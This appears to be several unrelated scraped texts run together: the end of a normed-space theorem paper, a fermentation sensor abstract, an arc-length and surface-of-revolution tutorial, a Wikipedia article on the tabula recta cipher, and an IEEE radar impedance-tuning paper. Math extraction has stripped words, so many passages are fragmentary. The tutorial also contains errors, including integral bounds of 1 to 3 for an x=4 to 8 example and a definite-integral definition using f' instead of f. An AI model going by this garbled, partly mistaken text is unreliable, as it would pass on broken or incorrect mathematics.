{\left({S}_{X}\right)}^{n}
{X}^{n}
\left({e}_{1},{e}_{2},\dots ,{e}_{n}\right)\in {\left({S}_{X}\right)}^{n}
F\left({e}_{1},{e}_{2},\dots ,{e}_{n}\right)=\parallel F\parallel >0.
i=1,2,\dots ,n
\left({\alpha }_{1},{\alpha }_{2},\dots ,{\alpha }_{n}\right)\in {\mathbb{R}}^{n}
\begin{array}{rcl}\parallel F\parallel \parallel \sum _{k=1}^{n}{\alpha }_{k}{e}_{k}\parallel & \ge & |F\left({e}_{1},\dots ,{e}_{i-1},\sum _{k=1}^{n}{\alpha }_{k}{e}_{k},{e}_{i+1},\dots ,{e}_{n}\right)|\\ =& |\sum _{k=1}^{n}{\alpha }_{k}F\left({e}_{1},\dots ,{e}_{i-1},{e}_{k},{e}_{i+1},\dots ,{e}_{n}\right)|\\ =& |{\alpha }_{i}F\left({e}_{1},{e}_{2},\dots ,{e}_{n}\right)|=\parallel F\parallel |{\alpha }_{i}|.\end{array}
\parallel \sum _{k=1}^{n}{\alpha }_{k}{e}_{k}\parallel \ge |{\alpha }_{i}|=\parallel {\alpha }_{i}{e}_{i}\parallel ,
i=1,2,\dots ,n
\left({\alpha }_{1},{\alpha }_{2},\dots ,{\alpha }_{n}\right)\in {\mathbb{R}}^{n}
{e}_{i}{\perp }_{B}\left[{\left\{{e}_{k}\right\}}_{k\ne i}\right]
i=1,2,\dots ,n
Now, we state the main theorem.
Theorem 4 Every n-dimensional normed space is isometrically isomorphic to the space
{\mathbb{R}}^{n}
endowed with a normal norm.
Proof By Lemma 3, there exists an n-tuple
\left({e}_{1},{e}_{2},\dots ,{e}_{n}\right)
{S}_{X}
{e}_{i}{\perp }_{B}\left[{\left\{{e}_{k}\right\}}_{k\ne i}\right]
i=1,2,\dots ,n
{e}_{i}{\perp }_{B}\left[{\left\{{e}_{k}\right\}}_{k\ne i}\right]
\parallel \sum _{k=1}^{n}{\alpha }_{k}{e}_{k}\parallel \ge \parallel {\alpha }_{i}{e}_{i}\parallel =|{\alpha }_{i}|,
i=1,2,\dots ,n
\left({\alpha }_{1},{\alpha }_{2},\dots ,{\alpha }_{n}\right)\in {\mathbb{R}}^{n}
\parallel \sum _{k=1}^{n}{\alpha }_{k}{e}_{k}\parallel \ge max\left\{|{\alpha }_{1}|,|{\alpha }_{2}|,\dots ,|{\alpha }_{n}|\right\}
\left({\alpha }_{1},{\alpha }_{2},\dots ,{\alpha }_{n}\right)\in {\mathbb{R}}^{n}
. From this fact, we note that
\left\{{e}_{1},{e}_{2},\dots ,{e}_{n}\right\}
is linearly independent, that is, a basis for X.
Define the norm
{\parallel \cdot \parallel }_{0}
{\mathbb{R}}^{n}
{\parallel \left({\alpha }_{1},{\alpha }_{2},\dots ,{\alpha }_{n}\right)\parallel }_{0}=\parallel \sum _{k=1}^{n}{\alpha }_{k}{e}_{k}\parallel
\left({\alpha }_{1},{\alpha }_{2},\dots ,{\alpha }_{n}\right)\in {\mathbb{R}}^{n}
. Then, clearly,
{\parallel \cdot \parallel }_{0}
is normal and X is isometrically isomorphic to the space
\left({\mathbb{R}}^{n},{\parallel \cdot \parallel }_{0}\right)
Since the space
{\mathbb{R}}^{2}
endowed with a normal norm is a generalized Day-James space by Proposition 1, we have the result of Alonso as a corollary.
Corollary 5 ([10])
Every two-dimensional real normed space is isometrically isomorphic to a generalized Day-James space.
Bonsall FF, Duncan J: Numerical Ranges II. Cambridge University Press, Cambridge; 1973.
Saito KS, Kato M, Takahashi Y:Von Neumann-Jordan constant of absolute normalized norms on
{\mathbb{C}}^{2}
. J. Math. Anal. Appl. 2000, 244: 515–532. 10.1006/jmaa.2000.6727
James RC: Inner products in normed linear spaces. Bull. Am. Math. Soc. 1947, 53: 559–566. 10.1090/S0002-9904-1947-08831-5
Birkhoff G: Orthogonality in linear metric spaces. Duke Math. J. 1935, 1: 169–172. 10.1215/S0012-7094-35-00115-6
Day MM: Polygons circumscribed about closed convex curves. Trans. Am. Math. Soc. 1947, 62: 315–319. 10.1090/S0002-9947-1947-0022686-9
Day MM: Some characterizations of inner product spaces. Trans. Am. Math. Soc. 1947, 62: 320–337. 10.1090/S0002-9947-1947-0022312-9
James RC: Orthogonality in normed linear spaces. Duke Math. J. 1945, 12: 291–302. 10.1215/S0012-7094-45-01223-3
James RC: Orthogonality and linear functionals in normed linear spaces. Trans. Am. Math. Soc. 1947, 61: 265–292. 10.1090/S0002-9947-1947-0021241-4
Nilsrakoo W, Saejung S:The James constant of normalized norms on
{\mathbb{R}}^{2}
. J. Inequal. Appl. 2006., 2006: Article ID 26265
Alonso J: Any two-dimensional normed space is a generalized Day-James space. J. Inequal. Appl. 2011., 2011: Article ID 2
The second author was supported in part by Grants-in-Aid for Scientific Research (No. 23540189), Japan Society for the Promotion of Science.
Department of Mathematical Science, Graduate School of Science and Technology, Niigata University, Niigata, 950-2181, Japan
Department of Mathematics, Faculty of Science, Niigata University, Niigata, 950-2181, Japan
Correspondence to Kichi-Suke Saito.
RT conceived of the study, carried out the study of a structure of finite dimensional normed linear spaces, and drafted the manuscript. KS participated in the design of the study and helped to draft the manuscript. All authors read and approved the final manuscripts.
Tanaka, R., Saito, KS. Every n-dimensional normed space is the space
{\mathbb{R}}^{n}
endowed with a normal norm. J Inequal Appl 2012, 284 (2012). https://doi.org/10.1186/1029-242X-2012-284
Day-James space
Birkhoff orthogonality
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Abstract: Yellow water is a by-product of liquor in the solid state fermentation process, and contains a large amount of nutrients, such as acids, esters, alcohols and aldehydes produced by fermentation. The components in the yellow water reflect the fermentation information to a certain extent, so the fermentation process can be monitored by detecting the yellow water component online. A sensor array detection device is designed for detecting yellow water. In addition, chemical titration is used to obtain data such as acidity, reducing sugar and starch of yellow water. Principal component analysis and discriminant function analysis were performed on the data; and a multivariate linear regression was used to establish a prediction model for the data. The results showed that the prediction bias for acidity and alcohol was small, 0.39 and 0.43, respectively.
Keywords: Yellow Water, Sensor Array, PCA, Multiple Linear Regression, Liquor
REMSEP=\sqrt{\frac{{\displaystyle \underset{i=1}{\overset{n}{\sum }}{\left({y}_{i}-\stackrel{¯}{\stackrel{¯}{{y}_{i}}}\right)}^{2}}}{n}}
\stackrel{¯}{\stackrel{¯}{{y}_{i}}}
n
{y}_{i}
Cite this paper: Chen, B. , Yao, Y. and Luo, H. (2019) Analysis of Yellow Water in Liquor Fermentation with Sensor Array. Journal of Sensor Technology, 9, 1-11. doi: 10.4236/jst.2019.91001.
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The Arc-Length Formula: A Step-By-Step Guide | Outlier
The Arc-Length Formula: A Step-By-Step Guide
What is the arc length formula? First, we’ll learn how to derive the arc length formula. Then, we’ll discuss how to find the arc length and practice with some examples. Finally, we’ll apply our knowledge of the arc length formula to help us calculate the surface area of a surface of revolution.
What Is the Surface Area of the Surface of Revolution?
How To Calculate the Surface Area of a Surface of Revolution
The arc length of a function is the length of the function’s curve between two points.
In order to calculate the arc length of a function
f
[a, b]
, we require two things: the function must be differentiable on
[a, b]
and its derivative must be continuous on
[a, b]
. Functions with these characteristics are called smooth.
f
[a, b]
. To approximate the arc length of the curve, we can break the curve into
n
small sections. Then, we can connect the endpoints of each section with a straight line to form an approximation of the curve.
Using the distance formula, we can determine the length of each straight line segment. Adding up these lengths gives us an approximate answer for the arc length. Below is an example of this process for
n = 5
Each straight line segment is the hypotenuse of a right triangle. Then, by the Pythagorean theorem, the length of each straight line segment is given by the formula below. This is called the distance formula.
s_i = \sqrt{(x_i - x_{i-1})^2 + (y_i - y_{i-1})^2}
Because the curve on
[a, b]
n
pieces using a regular partition over
[a, b]
, we can let the change in horizontal distance be given by
\Delta x
. However, the change in vertical distances varies, so this is given by
\Delta y_i = y_i - y_{i-1}
. Then, we have:
s_i = \sqrt{\Delta x^2 + \Delta y_i^2}
Taking the sum of the lengths of these tiny straight line segments gives us an approximate measurement of the arc length.
\text{Arc Length} \approx \sum_{i = 1}^n \sqrt{\Delta x^2 + \Delta y_i^2}
Now, notice that
\Delta y_i = y_i - y_{i-1} = f(x_i) - f(x_{i-1})
. This allows us to use the Mean Value Theorem, which states that if
is continuous and differentiable on
[a, b]
, then there exists some point
c
[a, b]
f’(c) = \frac{f(b) - f(a)}{b-a}
So, we can say there exists some x_i^*$ in $[x_{i-1}, x_i] such that:
f’(x_i^*) = \frac{f(x_i)-f(x_{i-1})}{x_i - x_{i-1}}
Rearranging this equation, we get:
f’(x_i^*)(x_i - x_{i-1}) = f(x_i)-f(x_{i-1})
\Delta y_i = f(x_i) - f(x_{i-1})
\Delta x = x_i - x_{i-1}
\Delta y_i = f’(x_i^*)\Delta x
Using this expression, the arc length can now be approximated as:
\text{Arc Length} \approx \sum_{i = 1}^n \sqrt{\Delta x^2 + \Delta y_i^2}
\approx \sum_{i = 1}^n \sqrt{\Delta x^2 + {(f’(x_i^*) \Delta x)}^2}
\approx \sum_{i = 1}^n \sqrt{\Delta x^2 + [f’(x_i^*)]^2 \Delta x^2}
\Delta x^2
\text{Arc Length} \approx \sum_{i = 1}^n \sqrt{\Delta x^2(1 + [f’(x_i^*)]^2)}
\text{Arc Length} \approx \sum_{i = 1}^n \Delta x \sqrt{(1 + [f’(x_i^*)]^2)}
As we break the curve into smaller and smaller sections, the collection of resulting straight line segments begins to match the original curve better and better.
So, as we make
n
bigger, the curve of
is broken into more and more small pieces, and our approximation of the arc length becomes more and more precise.
Then, by taking the limit of our approximation as
n
approaches infinity, we can find the precise arc length of
[a, b]
\text{Arc Length} = \lim_{n\to\infty} \sum_{i = 1}^n \Delta x \sqrt{1 + [f’(x_i^*)]^2}
Note that a definite integral is defined by:
\int_a^b f(x) dx = \lim_{n\to\infty} \sum_{i = 1}^n f’(x_i^*) \Delta x
Using this definition, we can say that the arc length is equal to the definite integral below. We have finally derived the arc length equation.
\text{Arc Length} = \int_a^b \sqrt{1 + [f’(x)]^2} dx
g(y)
is a smooth function on
[c, d]
\text{Arc Length} = \int_c^d \sqrt{1 + [g’(y)]^2} dy
Now that we understand how to derive the arc length integral formula, we can follow the four simple steps below to calculate the arc length of a smooth function on
[a, b]
f(x)
f’(x)
f’(x)
[f’(x)]^2
into the arc length formula and plug
and
b
into the upper and lower bounds of the integral.
How To Find an Arc Length Example
Let’s do one example together to solidify your understanding. Let
f(x) = x^{\frac{3}{2}}
. Find the arc length of
x = 4
x = 8
f(x)
using the power rule, we have
f’(x) = \frac{3}{2}x^\frac{1}{2}
f’(x)
[f’(x)]^2 = {(\frac{3}{2}x^\frac{1}{2})}^2 = \frac{9}{4}x
Using the arc length formula, our integral is
\int_1^3 \sqrt{1 + \frac{9}{4}x} dx
We will integrate using u-substitution. (If needed, you can review our guide about what is u-substitution.
u = 1 + \frac{9}{4}x
du = \frac{9}{4} \, dx
. Then, to keep our equation balanced, we must multiply the integrand by
\frac{4}{9}
. We must also calculate our new bounds in terms of
u
. Plugging
a = 4
u
u(4) = 10
b = 8
u
u(8) = 19
. Now, we can integrate. You will need to use your calculator to compute this and get the approximate final answer.
\text{Arc Length} = \int_{10}^{19} \frac{4}{9} \sqrt{u} \, du
= \int_{10}^{19} \frac{4}{9} {u}^{\frac{1}{2}} \, du
= \frac{4}{9} \cdot \frac{2}{3}{u}^{\frac{3}{2}} \Big|_{10}^{19}
= \frac{8}{27}{u}^{\frac{3}{2}} \Big|_{10}^{19}
= \frac{8}{27}{19}^{\frac{3}{2}} - \frac{8}{27}{10}^{\frac{3}{2}}
\approx 15.1693
Thus the arc length of
x = 4
x = 8
is approximately 15.1693.
We can create a three dimensional object by rotating the curve of a function 360 degrees about the x-axis. This creates a surface of revolution. For example, the surface of revolution created by revolving
y = x^2
about the x-axis is given below. Note that our function must be smooth and nonnegative.
As we did before to derive the arc length formula, imagine breaking the curve of
n
small sections and connecting the endpoints of each section with a straight line segment. Revolving these straight line segments about the x-axis creates a three-dimensional shape that looks like a piece of cone called a frustum. A frustum looks like an ice cream cone with the pointy part removed.
Below is an example of a frustum generated by rotating a straight line segment around the x-axis.
Formula for the Surface Area of a Frustum
So, how do we calculate the surface area of the surface of revolution? Well, we can start by investigating the formula for the surface area of a frustum.
The formula for the lateral surface area of a frustum is given by
SA = 2\pi \frac{(r_1 + r_2)}{2}l
r_1
r_2
are the radii of the bases and
l
is the slant height of the frustum.
r_1
r_2
are equal to the values
y_i = f(x_i)
y_{i-1} = f(x_{i-1})
, respectively. The slant height
l
is simply the length of the line segment used to generate the frustum. We already calculated the formula for the length of the straight line segment in our previous work for deriving the arc length formula.
So, we can change the formula for the surface area of a frustum to look like this:
SA = 2\pi \frac{(r_1 + r_2)}{2}l
SA = 2\pi (\frac{f(x_i) + f(x_{i-1})}{2}) \sqrt{\Delta x^2 + \Delta y_i^2}
SA = 2\pi (\frac{f(x_i) + f(x_{i-1})}{2}) \sqrt{(1 + [f’(x_i^*)]^2)} \Delta x
The Intermediate Value Theorem tells us that there exists some value
f(x_i^*)
f(x_{i-1})
f(x_i)
f(x_i^*) = \frac{f(x_i) + f(x_{i-1})}{2}
, so our equation becomes:
SA = 2\pi f(x_i^*) \sqrt{(1 + [f’(x_i^*)]^2)} \Delta x
Taking the sum of the surface area of each frustum that is generated by the
n
straight line segments that approximate the curve of
\text{Surface Area of the Surface of Revolution} \approx \sum_{i = 1}^n 2\pi f(x_i^*) \sqrt{(1 + [f’(x_i^*)]^2)} \Delta x
Similar to what we determined with the arc length formula, when we break the curve into smaller and smaller sections, the collection of resulting frustums begins to match the surface of revolution better and better.
As we make
n
bigger, the curve of
is broken into more and more small pieces, and our approximation of the surface area of the surface of revolution becomes more and more precise.
Then, by taking the limit of our surface area approximation as
n
approaches infinity, we can find the precise surface area of the surface of revolution of
[a, b]
\text{SA of the Surface of Revolution} = \lim_{n\to\infty} \sum_{i = 1}^n 2\pi f(x_i^*) \sqrt{(1 + [f’(x_i^*)]^2)} \Delta x
We can use the definition of a definite integral that was given before to finally determine the formula for the surface area of a surface of revolution given by revolving
f
around the x-axis on
[a, b]
\text{SA of the Surface of Revolution} = \int_a^b 2\pi f(x) \sqrt{1 + [f’(x)]^2} dx
Similarly, the surface area of the surface of revolution given by revolving a nonnegative smooth function
g
around the y-axis on
[c, d]
\text{SA of the Surface of Revolution} = \int_c^d 2\pi g(y) \sqrt{1 + [g’(y)]^2} dy
Now that we understand how to derive the formula, we can follow the four simple steps below to calculate the surface area of the surface of revolution of a smooth function on
[a, b]
f(x)
f’(x)
f’(x)
[f’(x)]^2
into the surface area formula and plug
and
b
Example of How To Find the Surface Area of the Surface of Revolution
We’ll do one simple example together. Let
f(x) = x
. Find the surface area of the surface of revolution on
[0, 1]
formed by revolving the graph of
f(x)
f(x)
using the power rule, we find the
f’(x) = 1
f’(x)
gives us 1.
Using the surface area formula, our integral is:
\text{SA of the Surface of Revolution} = \int_0^1 2\pi x \sqrt{1 + 1} dx
= \int_0^1 2\pi x \sqrt{2} dx
= \int_0^1 2 \sqrt{2} \pi x dx
=2 \sqrt{2} \pi \int_0^1 x dx
4. Integrating gives us:
2 \sqrt{2} \pi \int_0^1 x dx = 2 \sqrt{2} \pi \cdot \frac{x^2}{2} \Big|_0^1
= 2 \sqrt{2} \pi (\frac{1}{2}-0)
= \pi \sqrt{2}
Thus, the surface area of the surface of revolution of
f(x) = x
[0, 1]
\pi \sqrt{2} \approx 4.4429
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Tabula recta - Wikipedia
Fundamental tool in cryptography
Find sources: "Tabula recta" – news · newspapers · books · scholar · JSTOR (September 2014) (Learn how and when to remove this template message)
In cryptography, the tabula recta (from Latin tabula rēcta) is a square table of alphabets, each row of which is made by shifting the previous one to the left. The term was invented by the German author and monk Johannes Trithemius[1] in 1508, and used in his Trithemius cipher.
1 Trithemius cipher
Trithemius cipher[edit]
The Trithemius cipher was published by Johannes Trithemius in his book Polygraphia, which is credited with being the first published printed work on cryptology.[2]
Trithemius used the tabula recta to define a polyalphabetic cipher, which was equivalent to Leon Battista Alberti's cipher disk except that the order of the letters in the target alphabet is not mixed. The tabula recta is often referred to in discussing pre-computer ciphers, including the Vigenère cipher and Blaise de Vigenère's less well-known autokey cipher. All polyalphabetic ciphers based on the Caesar cipher can be described in terms of the tabula recta.
The tabula recta uses a letter square with the 26 letters of the alphabet followed by 26 rows of additional letters, each shifted once to the left from the one above it. This, in essence, creates 26 different Caesar ciphers.[1]
The resulting ciphertext appears as a random string or block of data. Due to the variable shifting, natural letter frequencies are hidden. However, if a codebreaker is aware that this method has been used, it becomes easy to break. The cipher is vulnerable to attack because it lacks a key, thus violating Kerckhoffs's principle of cryptology.[1]
In 1553, an important extension to Trithemius's method was developed by Giovan Battista Bellaso, now called the Vigenère cipher.[3] Bellaso added a key, which is used to dictate the switching of cipher alphabets with each letter. This method was misattributed to Blaise de Vigenère, who published a similar autokey cipher in 1586.
The classic Trithemius cipher (using a shift of one) is equivalent to a Vigenère cipher with ABCDEFGHIJKLMNOPQRSTUVWXYZ as the key. It is also equivalent to a Caesar cipher in which the shift is increased by 1 with each letter, starting at 0.
Within the body of the tabula recta, each alphabet is shifted one letter to the left from the one above it. This forms 26 rows of shifted alphabets, ending with an alphabet starting with Z (as shown in image). Separate from these 26 alphabets are a header row at the top and a header column on the left, each containing the letters of the alphabet in A-Z order.
The tabula recta can be used in several equivalent ways to encrypt and decrypt text. Most commonly, the left-side header column is used for the plaintext letters, both with encryption and decryption. That usage will be described herein. In order to decrypt a Trithemius cipher, one first locates in the tabula recta the letters to decrypt: first letter in the first interior column, second letter in the second column, etc.; the letter directly to the far left, in the header column, is the corresponding decrypted plaintext letter. Assuming a standard shift of 1 with no key used, the encrypted text HFNOS would be decrypted to HELLO (H->H, F->E, N->L, O->L, S->O ). So, for example, to decrypt the second letter of this text, first find the F within the second interior column, then move directly to the left, all the way to the leftmost header column, to find the corresponding plaintext letter: E.
Data is encrypted in the opposite fashion, by first locating each plaintext letter of the message in the leftmost header column of the tabula recta, and mapping it to the appropriate corresponding letter in the interior columns. For example, the first letter of the message is found within the left header column, and then mapped to the letter directly across in the column headed by "A". The next letter is then mapped to the corresponding letter in the column headed by "B", and this continues until the entire message is encrypted.[4] If the Trithemius cipher is thought of as having the key ABCDEFGHIJKLMNOPQRSTUVWXYZ, the encryption process can also be conceptualized as finding, for each letter, the intersection of the row containing the letter to be encrypted with the column corresponding to the current letter of the key. The letter where this row and column cross is the ciphertext letter.
Programmatically, the cipher is computable, assigning
{\displaystyle A=0,B=1...}
, then the encryption process is
{\displaystyle ciphertext=(plaintext+key)\!\!\!\!{\pmod {26}}}
. Decryption follows the same process, exchanging ciphertext and plaintext. key may be defined as the value of a letter from a companion ciphertext in a running key cipher, a constant for a Caesar cipher, or a zero-based counter with some period in Trithemius's usage.[5]
^ a b c Salomon, Data Privacy, page 63
^ Kahn, David (1996). The Codebreakers (2nd ed.). Scribner. p. 133. ISBN 978-0-684-83130-5.
^ Salomon, Coding for Data, page 249
^ Rodriguez-Clark, Dan, Polyalphabetic Substitution Ciphers, Crypto Corner
^ Kahn, page 136
Salomon, David (2005). Coding for Data and Computer Communications. Springer. ISBN 0-387-21245-0.
Salomon, David (2003). Data Privacy and Security. Springer. ISBN 0-387-00311-8.
King, Francis X. (1989). Modern Ritual Magic: The Rise of Western Occultism (2nd ed.). Prism Press. ISBN 1-85327-032-6.
Kahn, David (1996). The Codebreakers. Simon and Schuster. ISBN 0-684-83130-9.
Retrieved from "https://en.wikipedia.org/w/index.php?title=Tabula_recta&oldid=1082361786"
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Optimizing Transmitter Amplifier Load Impedance for Tuning Performance in a Metacognition-Guided, Spectrum Sharing Radar - IEEE Conference Publication
Optimizing Transmitter Amplifier Load Impedance for Tuning Performance in a Metacognition-Guided, Spectrum Sharing Radar
Adam Goad ; Austin Egbert ; Angelique Dockendorf ; Charles Baylis ; Anthony Martone ; Robert J. Marks
Abstract: Transmitter power amplifier load impedance impacts the transmitted power of the radar, which affects the maximum detection range. In spectrum sharing radars, the operatin... View more
Transmitter power amplifier load impedance impacts the transmitted power of the radar, which affects the maximum detection range. In spectrum sharing radars, the operating frequency is expected to change on the order of a few milliseconds coherent processing interval (CPI), which can be in the low milliseconds. While a high-power impedance tuner has been developed for radar applications, its reconfiguration time requires at least several hundreds of milliseconds, thus significantly exceeding the CPI time scale and preventing configuration adjustments within the CPI. We demonstrate an algorithm that assesses and improves the amplifier impedance tuning during a spectrum sharing metacognition process in a cognitive radar. Measurement results show success in achieving maximum average power over test intervals using the control of an adaptive software-defined radio platform.
The increased use of the radar spectrum for sharing with wireless communications is resulting in new, innovative techniques for reconfigurable radar transmission from a cognitive radar platform. A cognitive radar can sense, adapt, and respond to its environment [1]–[2][3]. Frequency agility has been demonstrated to maximize power-added efficiency (PAE) and spectral compliance using software-defined radio (SDR) control [4] with a 90-W evanescent-mode (EVA) cavity tuning technology demonstrated by Semnani [5]. This technology must be merged with real-time spectrum sharing and radar signal processing, as described by Kirk [6], and implemented in a system known as “SDRadar”. However, a major challenge of this merger is that the EVA cavity tuner can require over 100 ms to perform some tuning operations, whereas the coherent processing interval (CPI) of a radar is often on the order of a few milliseconds. As such, it is not possible to adjust the circuit configuration for every individual CPI. Instead, the average performance over multiple CPIs can be optimized. This paper describes how impedance tuning can successfully be merged with the metacognitive decision process of a spectrum sharing cognitive radar.
Upon deciding the transmit parameters (center frequency, bandwidth, waveform—collectively referred to as the SDRadar's “action” or “state”) in real time, the system will reconfigure a matching network to optimize the impedance shown to the power amplifier device. This concept is shown in Fig. 1. The impedance (and therefore the load reflection coefficient ΓL
\Gamma_{L}
) will be optimized to deliver maximum power to the load device from the matching network. For these experiments we demonstrate matching assuming that a matched impedance is presented to the matching network by the next stage, possibly the antenna (i.e. Γant=0
\Gamma_{ant}=0
A tunable matching network can adjust the reflection coefficient ΓT
\Gamma_{T}
presented to the amplifier device to maximize the power delivered to the load, represented by ΓL
\Gamma_{L}
Dockendorf demonstrates a modified gradient search for a single operating frequency and bandwidth, where the search is performed in the two-variable space of n1
n_{1}
n_{2}
, which are the position numbers of the resonator discs in the EVA cavity tuner [4]. More specifically, the method in [4] is useful for occasional (every 10–20 seconds) changes in operating frequency, the cognitive spectrum-sharing radio proposed by Kirk [6] is expected to change operating frequency and bandwidth as frequently as every CPI, which is expected to be potentially less than 10 ms. As the method of [4] requires a consistent system configuration throughout the optimization process in order to evaluate the effects of varying load impedance, whereas the tuning technology is unable to adjust on the time scale required, i.e., it is incompatible with the needs of a rapidly adapting system such as the SDRadar. To compensate for this, the gradient search method can be adjusted to utilize information from multiple observed transmit states during a single iteration; with the goal of maintaining the performance of the overall system across multiple states.
Rather than the modified gradient search of Dockendorf [4], which is a constrained maximization of PAE under spectral mask constraints, we modify the search into a simple gradient search to maximize the output power Pout
P_{out}
at the output of the tuner. Fig. 2 shows a possible scenario where the transmit states are quickly changing relative to the tuning times. In this simplified scenario, three transmit states occur in random order, and it is desired that the selected tuner configuration minimizes the weighted distance to the optimum tuner configuration for each observed state. The left column represents the steps within a single iteration of the amplifier controller's algorithm, while the right column represents the sequence of states selected by the SDRadar controller. For gradient evaluation, the EVA tuner begins at the candidate point and then must tune to the two neighboring points in the (n1,n2
n_{1}, n_{2}
) plane required to assess how the power delivered to the load varies with load impedance for each transmit state. At the end of the measurement window, consisting of N
measurements, an estimate of the gradient of the delivered power is calculated for each transmit state. Each of these gradients are weighted according to the number of times each transmit state occurs at the candidate point and two neighboring points. In the bottom left of Fig. 2, the number of occurrences is shown for each transmit state, and the weight that each state's results is given in the final gradient calculation is shown.
Note that a state must be observed at each step of the current gradient iteration (the candidate and both of its two neighboring points) to be considered as a valid state; otherwise, a gradient estimate cannot be computed for that state. In situations where a state is only observed at some (but not all) of these steps, its performance during the current iteration is ignored, and the weights are computed as if the state were never transmitted.
The overall search vector is calculated as a weighted average of the gradients:
v¯=Σnwnv¯n,(1)
View Source \begin{equation*} \bar{v}=\Sigma_{n}w_{n}\bar{v}_{n}, \tag{1} \end{equation*} where wn
w_{n}
is the weight calculated for state n
based on the relative number of occurrences of that state in a given time frame and v¯n
\bar{v}_{n}
is a Pout
P_{out}
gradient estimate for state n
with respect to ΓL
\Gamma_{L}
. For a total of N′
N^{\prime}
measurements corresponding to valid states, where state n
was encountered cn
c_{n}
times, the weights accompanying each vector v¯n
\bar{v}_{n}
wn=cnN′.(2)
View Source \begin{equation*} w_{n}=\frac{c_{n}}{N^{\prime}}. \tag{2} \end{equation*}
The resulting step vector is then used in place of the gradient estimate of [9] to select the next candidate location in the (n1,n2
n_{1}, n_{2}
Simplified example scenario of impedance tuning during relatively quickly changing transmit states.
In a sense-and-respond situation where spectral prediction is not used, the approach of using past states during a given time period should be used to determine the weights (as illustrated in Fig. 2). In a predict-and-respond situation where spectral prediction is used, a schedule of future states to be transmitted should be available. The weights shown in the lower left of Fig. 2 could then be calculated based on the relative occurrences of each state in the future schedule. We will herein use past states to give the weighted average best tuner (n1,n2
n_{1}, n_{2}
) setting.
The proposed algorithm was tested with a Microwave Technologies MWT-173 field-effect transistor (FET) with VDS=4.5V,VGS=−1.4V
V_{DS}=4.5\mathrm{V}, V_{GS}=-1.4\mathrm{V}
, and Pin=14 dBm
P_{in}=14\ \text{dBm}
. This transistor is driven by a dynamic transmission system that chooses between three different transmit states with equal probability. These states correspond to RF center frequencies of 3.1, 3.3, and 3.5 GHz. A new state is selected (with replacement) for each measurement performed during a run of the search algorithm. For the results of this section, a measurement window N=20
was used, meaning that at each tuner position visited by the search, 20 measurements were taken of randomly varying states prescribed by the system.
To allow comparison of algorithm results with traditionally measured data, Fig. 3 shows the output power contours for each individual state that was used. While these states have similar performance for high values of n1
n_{1}
n_{2}
, they have different performance levels and contour slopes for most of the search space. For example, Pout
P_{out}
drops significantly when moving to the bottom left of the (n1,n2
n_{1}, n_{2}
) plane at 3.1 GHz, while remaining reasonably high for 3.3 and 3.5 GHz in the same region.
P_{out}
load-pull contours at (a) 3.10 GHz, (b) 3.3 GHz, (c) 3.5 GHz
Three trials were performed for this search using random selection of measured states during the search from the three possible states. For the sake of simplicity, each state was given an equal weight in terms of state occurrence probability (despite the randomly varying occurrence of each state during the search.)
Fig. 4 shows the search path taken by three separate runs of the search starting from (n1,n2)=(3300,3600)
(n_{1}, n_{2})= (3300, 3600)
. The variations derive from both measurement noise, changes in the actual relative occurrences, and orders of occurrence of the three operating-frequency states. Despite taking different paths (directed by the varying distributions of observed states), all searches converge in the same region, as expected because each underlying probability distribution for the randomly generated states is the same.
Search results of three trails with X's indicating the endpoint of each search.
Table I compares Pout
P_{out}
at the endpoint for each individual frequency and the weighted average for each trial in Fig. 4. This data shows that even though the endpoint is not optimum for each frequency, the overall average performance is still good. The final column for average Pout
P_{out}
does not necessarily equal the average of the Pout
P_{out}
for the three frequencies since it is the weighted average of the measured powers based on the random distribution seen at the endpoint.
Table I: Comparison of search endpoint output power levels for the same starting location
Fig. 5 shows the search paths taken by three separate runs, labeled as Trial 4, Trial 5, and Trial 6, that start at three different (n1,n2
n_{1}, n_{2}
) locations. Trial 6 ends very close to the end of Trail 4 and thus the ‘X’ indicating it is obscured. The fact that all of these searches that start from different points in the search space still converge near the endpoints of Trials 1, 2, and 3 shown in Fig. 4 demonstrates robustness of the search.
Table II shows the Pout
P_{out}
values at three frequencies at the endpoint for the searches with varied starting points (Trials 4, 5, and 6). This data reinforces the fact that while the search endpoint may not be optimal for each point, the average performance is good and demonstrates a good compromise in the tuning to provide good performance at all of the operating frequency states.
Search results of three trials that started from random points.
Table II: Comparison of search endpoint output power levels for random starting locations
Fig. 6 shows the search path of Trial 5 with the gradient vectors shown for all three frequencies (3.1, 3.3, and 3.5 GHz) at each candidate (n1,n2
n_{1}, n_{2}
) point. This provides a visual demonstration of how the gradient search vectors combine to create the search path. The gradients for each individual state are calculated independently and then normalized to have the same length. These steepest-ascent direction vectors of equal length are then multiplied by the weights of the corresponding state, and the vectors are combined to give the direction in which the search will proceed to the next candidate. This vector is then scaled to have magnitude equal to the current step size parameter setting in the gradient search. Near the start point, the gradients for the three states are oriented similarly. However, as the search gets to its third candidate, the 3.5 GHz gradient is oriented nearly opposite to the 3.1 GHz gradient, and significantly different from the 3.3 GHz gradient. As the endpoint is approached, the gradients remain oppositely directed, illustrating the tension between the different state gradients as the average position begins to converge. A weighted average of the emphasis on performance for the three states is expected based on the relative occurrences of the states during the gradient evaluations. This weighted performance is shown to be successful based on the results shown in Table II.
An algorithm designed to optimize transmitter power amplifier impedance tuning for average output power in a frequency-agile software-defined radar system has been demonstrated. The search is a demonstration of a fast, real-time impedance tuning procedure that can allow average output power and range performance to be optimized in a situation where the tuning operation is much slower than the change in operating frequency. Using an EVA cavity tuner with a tuning search time of 2–10 seconds, this approach can be utilized in systems with a much faster CPI. Next steps include the implementation of this search in a real-time software-defined radar platform in a continuous operating environment. In such a situation, it will be useful to assess the need for the performance of impedance tuning based on detection of the average states changing significantly. This investigation is planned as part of the ongoing collaborative Army Research Laboratory SDRadar effort.
Close up view of trial 5 including the direction of the gradient calculated for each point.
The authors are grateful to John Clark of the Army Research Laboratory for his helpful insights in preparing this paper.
4. A. Dockendorf, A. Egbert, C. Calabrese, J. Alcala-Medel, S. Rezayat, Z. Hays, et al., "Fast Optimization Algorithm for Evanescent-Mode Cavity Tuner Optimization and Timing Reduction in Software-Defined Radar Implementation", IEEE Transactions on Aerospace and Electronic Systems, November 2019.
5. A. Semnani, G.S. Shaffer, M.D. Sinanis and D. Peroulis, "High-Power Impedance Tuner Utilising Substrate-Integrated Evanescent-Mode Cavity Technology and External Linear Actuators", IET Microwaves Antennas & Propagation, vol. 13, no. 12, pp. 2067-2072, 2019.
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Velocity Decomposition Method for Ship Advancing in Calm Water Simulation
State Key Laboratory of Ocean Engineering, Collaborative Innovation Center for Advance Ship and Deep-Sea Exploration, Shanghai Jiao Tong University, Shanghai, China.
